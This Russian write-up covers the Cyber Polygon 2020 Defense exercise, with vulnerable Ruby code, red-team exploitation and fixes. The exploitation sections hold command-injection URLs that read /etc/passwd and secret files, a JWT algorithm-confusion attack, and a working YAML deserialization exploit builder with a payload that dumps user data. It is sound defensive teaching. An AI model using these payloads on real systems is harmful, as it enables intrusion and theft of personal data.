навигация
Сценарий Defense: райтап к техническому треку Cyber Polygon 2020

8 июля 2020 года состоялся второй международный онлайн-тренинг по кибербезопасности Cyber Polygon. В техническом треке приняли участие команды от 120 крупнейших российских и международных организаций из 29 стран. Среди участников были банки, телекоммуникационные компании, представители энергетического сектора, медицинские учреждения, университеты, а также государственные и правоохранительные органы.

Во время тренинга участники выступали в роли команд blue team — защищали свои сегменты тренировочной инфраструктуры. Команда организаторов (BI.ZONE) имитировала кибератаки, выступая за red team.

Тренинг включал в себя два сценария: Defense и Response.

В этой статье мы подробно разберем Defense-сценарий учений, в котором участникам предстояло отразить атаку, организованную red team, и рассмотрим следующие темы:

  • основные механики игры;
  • инфраструктура и игровой сервис, предоставленные участникам;
  • уязвимости, заложенные в сервисах;
  • сценарии эксплуатации и способы обнаружения атак;
  • способы устранения уязвимостей.

Легенда

Согласно легенде, в виртуальной инфраструктуре организации функционировал сервис, обрабатывающий конфиденциальную информацию клиентов. Этот сервис заинтересовал некую APT-группировку, которая планировала украсть конфиденциальные данные пользователей и перепродать их на черном рынке, чтобы извлечь финансовую выгоду и нанести репутационный ущерб организации.

APT-группировка заранее провела необходимую разведку, обнаружила ряд критичных уязвимостей в целевой системе и в день учений начала свою атаку.

Перед участниками тренинга стояли следующие задачи:

  • как можно быстрее справиться с начавшейся атакой;
  • минимизировать объем украденной информации;
  • сохранить работоспособность сервиса.

Участники могли использовать любые доступные и привычные им средства и методы защиты.


Основные механики

Члены команд, когда-либо принимавшие участие в attack-defenсe CTF, могли отметить некоторую схожесть сценария с этим форматом соревнований по кибербезопасности. Разница состояла в том, что на тренинге участникам не нужно было атаковать другие команды — достаточно было только защищать свой сервис.

Такое правило было введено для того, чтобы все участники оказались в равных условиях и сконцентрировались на улучшении навыков обороны. Кроме того, благодаря ему количественные метрики, а значит и оценка уровня команд, были более объективными.

В качестве метрик были определены следующие показатели:

Health Points (HP). HP выражалось простым численным значением. Команда теряла очки HP, если red team смогла успешно проэксплуатировать заложенную в сервисе уязвимость и получить флаг. Чем больше уязвимостей смогла проэксплуатировать red team, тем больше HP теряла команда, но при этом у каждой из команд HP отнимались только один раз за раунд.

Service Level Agreement (SLA). В контексте сценария показатель SLA характеризовал целостность и доступность сервиса. SLA измерялся в процентах (0–100%). Команда теряла очки SLA, если на момент обращения чекера сервис оказывался недоступен или функционировал ненадлежащим образом. Обращения чекера к сервису могли происходить несколько раз за раунд, но количество обращений к каждой из команд всегда было одинаковым. Результирующее значение SLA высчитывалось как процентное соотношение удачных проверок (когда сервис доступен и полностью функционален) к общему количеству проверок.

Чекер — механика, которая позволяла организаторам проверять, что сервисы участников функционируют должным образом. Поскольку игровой сервис имитировал реальное веб-приложение, чекер также использовался для проверки выполнения правил игры: участники не могли просто выключить сервис или отключить часть его функциональности, им нужно было защищаться от атак red team.

Результирующее количество баллов, заработанных командой в ходе сценария, вычислялось как SLA * HP.

Участникам давалось 30 минут на подготовку, в ходе которых, по предположению организаторов, участники должны были ознакомиться с предоставленным им сервисом, развернуть средства мониторинга и защиты и начать искать уязвимости в коде сервиса.

По истечении этого времени начиналась так называемая «активная фаза» сценария: red team приступала к атаке. Активная фаза состояла из 18 раундов продолжительностью в 5 минут каждый.

Перед началом сценария каждая команда получала 180 HP для каждой из 5 заложенных в сервис уязвимостей (900 HP в сумме). За эксплуатацию уязвимости команда теряла 10 HP. Так, если в каком-то раунде было проэксплуатировано 3 уязвимости, за этот раунд команда теряла суммарно 30 HP, а если было проэксплуатировано 5 уязвимостей — 50 HP.

Помимо проверки того факта, что сервис команды функционирует должным образом, чекер применялся, чтобы в начале каждого раунда доставить в сервис команды так называемый флаг (используя легитимную функциональность сервиса). Флаг — это строка формата «Polygon{JWT}», где JWT — JSON Web Token.

В контексте сценария флаг выступал в роли конфиденциальных данных: чем больше флагов смогла похитить red team, тем большей была утечка. Похищенный флаг также означал факт эксплуатации уязвимости: команда теряла очки HP именно тогда, когда red team получала флаг, эксплуатируя ту или иную уязвимость.


Инфраструктура и игровой сервис

Каждой команде, участвующей в учениях, был предоставлен виртуальный сервер под управлением ОС Linux.

После подключения по VPN участники получали доступ к своему серверу посредством SSH, при этом участникам предоставлялся полный доступ (root) к своей системе.

В домашней директории пользователя /home/cyberpolygon/ch4ng3org располагался игровой сервис участников.

Бэкенд игрового сервиса был реализован на Ruby, фронтенд — с использованием фреймворка React JS, для управления базой данных была использована СУБД PostgreSQL.

Сервис был предназначен для запуска в Docker, на что указывало, в частности, то, что в содержащей игровой сервис директории были расположены файлы Dockerfile и docker-compose.yml.

Участники имели полный доступ к исходным кодам сервиса, файлам конфигурации и базе данных и могли использовать эти сведения для поиска и устранения присутствующих в сервисе уязвимостей.


Уязвимости

Небезопасные прямые ссылки на объекты

Уязвимость класса «небезопасные прямые ссылки на объекты» (IDOR, Insecure Direct Object Reference) возникает из-за недостатков в механизмах авторизации.

Уязвимость позволяет злоумышленнику получить доступ к данным других пользователей, к которым при нормальных условиях функционирования приложения у него не должно быть доступа.

В игровом сервисе уязвимость присутствовала в методе get класса UsersController.

backend/app/controllers/users_controller.rb:


def get
  user = User.find(params[:id])
  if params[:full].present?
    json_response({
      id: user.id,
      name: user.name,
      email: user.email,
      phone: user.phone
    })
  else
    json_response({
      id: user.id,
      name: user.name
    })
  end
end

При обращении по адресу вида http://example.com/api/users/<USER_ID>, где USER_ID — числовой идентификатор пользователя, любой пользователь мог получить JSON-объект, содержащий числовой идентификатор и имя пользователя, соответствующее этому числовому идентификатору.

Эта функциональность сама по себе не несет какой-либо опасности пользовательским данным. Однако следует обратить внимание на следующий фрагмент кода:


if params[:full].present?
  json_response({
    id: user.id,
    name: user.name,
    email: user.email,
    phone: user.phone
  })
    

Как можно увидеть, если передать в запросе параметр full, в ответе от сервера будет содержаться уже большее количество данных: помимо идентификатора и имени пользователя в ответе от сервиса будут возвращены еще его email и номер телефона.

В игровом сервисе флаги хранились как раз в поле user.phone (это можно было обнаружить, например, анализируя сетевой трафик). Каждый раунд чекер создавал нескольких пользователей и в качестве номера телефона для одного из них сохранял флаг.

Чтобы воспользоваться данным недостатком приложения, члены red team отправляли в сервис запросы вида http://example.com/api/users/<USER_ID>?full=1 и искали флаг в поле phone полученных JSON-объектов.

Для защиты от этой уязвимости хорошей практикой считается маскирование конфиденциальных данных при их отображении пользователю. Так, номер телефона +71112223344 можно отображать как +7111*****44.

Например:


def get
  user = User.find(params[:id])
  if params[:full].present?
    # Masking user's phone number
    uphone = user.phone
    x = 5
    y = uphone.length - 3
    replacement = '*'*(y-x)
    uphone[x..y] = replacement

    json_response({
      id: user.id,
      name: user.name,
      email: user.email,
      phone: uphone
    })
  else
    json_response({
      id: user.id,
      name: user.name
    })
  end
end

В таком случае вместо полного значения флага red team получала бы строку вида Polyg********X}, а команда участников не теряла бы очки HP из-за эксплуатации этой уязвимости.


Внедрение команд ОС

Внедрение команд ОС (Command Injection) происходит в результате недостаточной фильтрации пользовательских данных. Используя эту уязвимость, злоумышленник может формировать ввод, содержащий команды ОС, которые выполняются на целевой системе с привилегиями уязвимого приложения.

В игровом сервисе уязвимость присутствовала в методе disk_stats класса StatsController.

backend/app/controllers/stats_controller.rb:


def disk_stats
  if params[:flags].present?
    flags = params[:flags]
  else
    flags = ''
  end

  json_response({
    disk: `df #{flags}`
  })
end

При обращении по адресу вида http://example.com/api/disk_stats в ответе сервиса в поле disk JSON-объекта возвращается вывод системной утилиты df, позволяющей оценить количество свободного пространства в файловой системе.

В вызываемую команду, по задумке разработчика, можно передавать различные параметры, однако при этом их значение никак не фильтруется:


if params[:flags].present?
  flags = params[:flags]
  
~~~~~~~~~~~~~~~~~~~~~~~~~~
  
  json_response({
    disk: `df #{flags}`
  })

Это означает, что потенциальный злоумышленник может выполнить практически любую команду в системе, используя специальный синтаксис командной строки.

Так, например, выполнив запрос http://example.com/api/disk_stats?flags=;cat /etc/passwd злоумышленник сможет прочитать содержимое системного файла /etc/passwd.

Red team эксплуатировала данный недостаток следующим образом:

  1. При помощи отправки запроса http://example.com/api/disk_stats?flags=>dev/null;cat config/secrets.yml red team получала содержимое файла backend/config/secrets.yml, в котором хранился приватный ключ для подписи JWT-токенов.
  2. Имея приватный ключ, red team могла сформировать и подписать себе валидный JWT-токен для любого пользователя. Поскольку red team использовала актуальный приватный ключ сервиса, данный токен был бы успешно провалидирован и принят приложением.
  3. При помощи отправки запроса http://example.com/api/me от лица пользователя, для которого был сгенерирован токен, red team получала номер телефона этого пользователя и проверяла, нет ли в нем флага.

Чтобы защититься от этой уязвимости, достаточно было запретить передавать какие-либо параметры в вызов команды, поскольку общая работоспособность системы не завязана на использовании этого эндпоинта:


def disk_stats
  json_response({
    disk: `df`
  })
end

Небезопасная конфигурация

Уязвимость небезопасной конфигурации (Security Misconfiguration) возникает, как правило, из-за человеческого фактора. Стандартные конфигурации приложений часто недостаточно ориентированы на безопасность. Из-за лени, недостатка внимания или некомпетентности обслуживающего персонала эти конфигурации порой остаются неадаптированными к суровым реалиям, что существенно сказывается на безопасности приложения.

В игровом сервисе эта уязвимость присутствовала в описании сервиса db в файле docker-compose.yml.

docker-compose.yml:


  db:
    image: postgres
    restart: always
    network_mode: bridge
    volumes:
      - ./db_data:/var/lib/postgresql/data
    ports:
      - 5432:5432
    environment:
      POSTGRES_DB: ch4ng3
      POSTGRES_USER: ch4ng3
      POSTGRES_PASSWORD: ch4ng3

Как можно заметить, сетевой порт базы данных доступен из внешней сети:


    ports:
      - 5432:5432

Кроме того, сервер базы данных использует в качестве имени базы данных, имени пользователя и пароля одну и ту же строку, к тому же совпадающую с именем сервиса ch4ng3.org.

Обнаружив в результате сканирования сети порт базы данных, red team смогла подобрать логин и пароль к этой базе данных. После этого она выполнила следующий SQL-запрос, получив в результате сразу все номера пользовательских телефонов, в которых хранились флаги:


SELECT phone FROM users WHERE phone LIKE 'Polygon%'

Для защиты от этой уязвимости идеальным решением стал бы запрет на подключение к базе данных из внешней сети и смена пароля пользователя базы данных (при этом нужно было не забыть внести соответствующие изменения в конфигурацию сервиса api):


  db:
    image: postgres
    restart: always
    network_mode: bridge
    volumes:
      - ./db_data:/var/lib/postgresql/data
    environment:
      POSTGRES_DB: ch4ng3
      POSTGRES_USER: ch4ng3
      POSTGRES_PASSWORD: <VERY_SECRET_PASSWORD>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    environment:
      - DATABASE_URL=postgres://ch4ng3:<VERY_SECRET_PASSWORD>@db:5432/ch4ng3?sslmode=disable

Однако достаточно было предпринять одно действие из двух: сменить пароль пользователя базы данных на более безопасный либо запретить подключения к базе данных из внешней сети.


Изменение алгоритма подписи JWT

Следующая заложенная в игровом сервисе уязвимость была связана со сменой алгоритма подписи JWT.

В игровом сервисе уязвимость присутствовала в методе decode класса JsonWebToken.

backend/app/lib/json_web_token.rb:


def self.decode(token, algorithm)
  # cannot store key as ruby object in yaml file
  public_key = Rails.application.secrets.public_key_base
  if algorithm == 'RS256'
    public_key = OpenSSL::PKey::RSA.new(public_key)
  end
  # get payload; first index in decoded array
  body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
  HashWithIndifferentAccess.new body
  # rescue from expiry exception
rescue JWT::ExpiredSignature, JWT::VerificationError => e
  # raise custom error to be handled by custom handler
  raise ExceptionHandler::InvalidToken, e.message
end

Стоит более внимательно присмотреться к следующим строкам:


public_key = Rails.application.secrets.public_key_base
if algorithm == 'RS256'
  public_key = OpenSSL::PKey::RSA.new(public_key)
end
# get payload; first index in decoded array
body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]

Приложение подгружает строку с публичным ключом сервиса из файла конфигурации и, если в токене был передан алгоритм RS256, производит преобразование этой строки в публичный ключ RSA, который в дальнейшем используется для проверки подписи токена.

Можно заметить, что, если в параметре algorithm передано любое другое значение, преобразования строки с публичным ключом не произойдет. Если передать в поле alg JWT значение HS256, то для проверки подписи токена будет использован симметричный алгоритм HMAC, и именно эта строка с публичным ключом будет использована в качестве ключа для проверки подписи токена.

Red team эксплуатировала данный недостаток следующим образом:

  1. При помощи отправки запроса http://example.com/api/auth/third_party red team получала публичный ключ сервиса из поля public_key полученного JSON-объекта.
  2. Имея публичный ключ, red team могла сформировать валидный JWT-токен для любого пользователя, передав в поле alg JWT значение HS256 и подписав токен, используя в качестве секрета для алгоритма HMAC строку, содержащую публичный ключ сервиса.
  3. При помощи отправки запроса http://example.com/api/me от лица пользователя, для которого был сгенерирован токен, red team получала номер телефона этого пользователя и проверяла, нет ли в нем флага.

Чтобы защититься от этой уязвимости, можно было руководствоваться следующей рекомендацией: при работе с JWT желательно использовать одновременно только один алгоритм подписи — либо симметричный, либо асимметричный. Так, самое простое исправление будет выглядеть следующим образом:

backend/app/lib/json_web_token.rb:


def self.decode(token, algorithm)
  # cannot store key as ruby object in yaml file
  public_key = Rails.application.secrets.public_key_base
  if algorithm == 'RS256'
    public_key = OpenSSL::PKey::RSA.new(public_key)
  else
    raise ExceptionHandler::InvalidToken, Message.invalid_token
  end
  # get payload; first index in decoded array
  body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
  HashWithIndifferentAccess.new body
  # rescue from expiry exception
rescue JWT::ExpiredSignature, JWT::VerificationError => e
  # raise custom error to be handled by custom handler
  raise ExceptionHandler::InvalidToken, e.message
end

Теперь, если передать в поле alg токена значение, отличное от RS256, токен будет помечен как невалидный и red team не сможет получить доступ к приложению от лица других пользователей, подписывая токены публичным ключом сервиса.


Небезопасная десериализация YAML

Последняя заложенная в игровом сервисе уязвимость была связана с небезопасной десериализацией YAML.

За импорт петиций через их описание в формате YAML отвечал метод import класса PetitionsController.

backend/app/controllers/petitions_controller.rb:


def import
  yaml = Base64.decode64(params[:petition])
  begin
    petition = YAML.load(yaml)
  rescue Psych::SyntaxError => e
    json_response({message: e.message}, 500)
    return
  rescue => e
    json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500)
    return
  end
  if petition['created_at']
    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at'])
  else
    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'])
  end
  petition.signs.create!(petition_id: petition.id, user_id: current_user.id)
  json_response(petition)
end

Особое внимание стоило уделить следующим строкам кода:


yaml = Base64.decode64(params[:petition])
begin
  petition = YAML.load(yaml)
rescue Psych::SyntaxError => e
  json_response({message: e.message}, 500)
  return

Как можно заметить, содержимое YAML-объекта берется из base64-кодированного параметра petition, после чего преобразуется в объекты языка Ruby конструкцией YAML.load(yaml).

Данная конструкция является небезопасной и позволяет, в том числе, выполнить на целевой системе произвольный код на языке Ruby в контексте уязвимого приложения, чем и пользовалась red team.

При помощи следующего скрипта был сгенерирован YAML-объект, эксплуатирующий данный недостаток:


require "erb"
require "base64"
require "active_support"

if ARGV.empty?
  puts "Usage: exploit_builder.rb <source_file>"
  exit!
end

erb = ERB.allocate
erb.instance_variable_set :@src, File.read(ARGV.first)
erb.instance_variable_set :@lineno, 1

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result

payload = Base64.encode64(Marshal.dump(depr))

puts <<-PAYLOAD
---
!ruby/object:Gem::Requirement
requirements:
  - !ruby/object:Rack::Session::Abstract::SessionHash
      req: !ruby/object:Rack::Request
        env:
          rack.session: !ruby/object:Rack::Session::Abstract::SessionHash
            loaded: true
          HTTP_COOKIE: "a=#{payload}"
      store: !ruby/object:Rack::Session::Cookie
        coder: !ruby/object:Rack::Session::Cookie::Base64::Marshal {}
        key: a
        secrets: []
      exists: true
PAYLOAD

В качестве полезной нагрузки был использован следующий код:


phones = ''
User.all().each do |user|
  phones += user.phone + ';'
  end
raise phones   

Код получал номера телефонов всех зарегистрированных в сервисе пользователей, объединял их друг с другом через «;» и при помощи конструкции raise вызывал исключение, передавая в качестве сообщения об ошибке строку, содержащую номера телефонов пользователей.

Сообщение об ошибке далее возвращалось сервером в поле JSON-объекта message вместе с кодом ответа 500. При получении такого ответа red team оставалось только найти флаг в сообщении об ошибке.

Чтобы защититься от данной уязвимости, достаточно было заменить вызов функции YAML.load(yaml) на вызов функции YAML.safe_load(yaml). Однако чекер в процессе проверки функциональности проверял, чтобы в переданном YAML-объекте было возможно использовать алиасы. Поэтому результирующая конструкция будет выглядеть примерно так: YAML.safe_load(yaml, aliases: true).

А результирующая безопасная функция — так:


def import
  yaml = Base64.decode64(params[:petition])
  begin
    petition = YAML.safe_load(yaml, aliases: true)
  rescue Psych::SyntaxError => e
    json_response({message: e.message}, 500)
    return
  rescue => e
    json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500)
    return
  end
  if petition['created_at']
    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at'])
  else
    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'])
  end
  petition.signs.create!(petition_id: petition.id, user_id: current_user.id)
  json_response(petition)
end

Заключение

В нашей статье мы рассмотрели уязвимости, заложенные в игровом сервисе Defense-сценария тренинга Cyber Polygon, разобрали сценарии их эксплуатации и привели примеры исправлений, которые позволили бы участникам защитить свой сервис от атак red team.

Мы привели те способы устранения уязвимостей, которыми воспользовались бы сами в реальной ситуации. Однако стоит иметь в виду, что это не единственно возможные и верные методы.

Сценарий предусматривал, что участники могут защититься, не исправляя код в своих игровых сервисах. Например, для защиты от третьей уязвимости Security Misconfiguration, связанной с небезопасной конфигурацией Docker, достаточно было заблокировать порт базы данных на файрволе.

Однако мы убеждены, что лучшее решение — исправлять недостатки сервисов и приложений, а не «прикрывать» их с помощью компенсационных мер защиты, которые рано или поздно могут оказаться недостаточными под натиском атакующего. Вот почему в материале мы подробно рассмотрели корректировку исходного кода для защиты от уязвимостей.

Надеемся, что участие в тренинге было для вас продуктивным и познавательным, и ждем вас на следующих мероприятиях Cyber Polygon.